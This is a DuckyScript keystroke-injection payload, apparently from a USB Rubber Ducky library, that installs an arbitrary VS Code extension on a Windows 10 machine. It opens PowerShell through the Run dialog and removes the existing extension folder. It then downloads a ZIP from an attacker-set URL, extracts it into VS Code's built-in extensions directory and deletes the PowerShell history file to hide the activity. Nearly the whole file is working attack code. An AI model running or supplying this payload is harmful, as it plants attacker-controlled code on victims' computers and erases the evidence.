Path: blob/master/payloads/library/execution/Install_Any_Arbitrary_VSCode_Extension/payload.txt
2971 views
REM_BLOCK1##########################################################2# #3# Title : Install Any Arbitrary VSCode Extension #4# Author : Aleff #5# Version : 1.0 #6# Category : Execution #7# Target : Windows 10 #8# #9##########################################################10END_REM1112REM Replace "example" with the name of the extension folder13DEFINE #EXTENSION_NAME example1415REM Replace "https://example.com/path/to/archive.zip" with your own ZIP Archive link16DEFINE #ARCHIVE_LINK https://example.com/path/to/archive.zip1718EXTENSION PASSIVE_WINDOWS_DETECT19REM VERSION 1.120REM AUTHOR: Korben2122REM_BLOCK DOCUMENTATION23Windows fully passive OS Detection and passive Detect Ready24Includes its own passive detect ready.25Does not require additional extensions.2627USAGE:28Extension runs inline (here)29Place at beginning of payload (besides ATTACKMODE) to act as dynamic30boot delay31$_OS will be set to WINDOWS or NOT_WINDOWS32See end of payload for usage within payload33END_REM3435REM CONFIGURATION:36DEFINE #MAX_WAIT 15037DEFINE #CHECK_INTERVAL 2038DEFINE #WINDOWS_HOST_REQUEST_COUNT 239DEFINE #NOT_WINDOWS 74041$_OS = #NOT_WINDOWS4243VAR $MAX_TRIES = #MAX_WAIT44WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))45DELAY #CHECK_INTERVAL46$MAX_TRIES = ($MAX_TRIES - 1)47END_WHILE48IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN49$_OS = WINDOWS50END_IF5152REM_BLOCK EXAMPLE USAGE AFTER EXTENSION53IF ($_OS == WINDOWS) THEN54STRING HELLO WINDOWS!55ELSE56STRING HELLO WORLD!57END_IF58END_REM59END_EXTENSION6061GUI r62DELAY 100063STRINGLN PowerShell64DELAY 10006566STRINGLN_POWERSHELL67$extensionsPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\#EXTENSION_NAME"6869if (Test-Path -Path $extensionsPath -PathType Container) {70Remove-Item -Recurse -Force -Path $extensionsPath71}72END_STRINGLN7374REM May it depends by the extension...75DELAY 20007677STRINGLN_POWERSHELL78$url = "#ARCHIVE_LINK"79$downloadPath = "$env:TEMP\#EXTENSION_NAME.zip"80$extractPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\#EXTENSION_NAME"81Invoke-WebRequest -Uri $url -OutFile $downloadPath82if (Test-Path -Path $downloadPath) {83Expand-Archive -Path $downloadPath -DestinationPath $extractPath -Force84Remove-Item -Path $downloadPath -Force85Remove-Item (Get-PSReadlineOption).HistorySavePath; exit86}87END_STRINGLN888990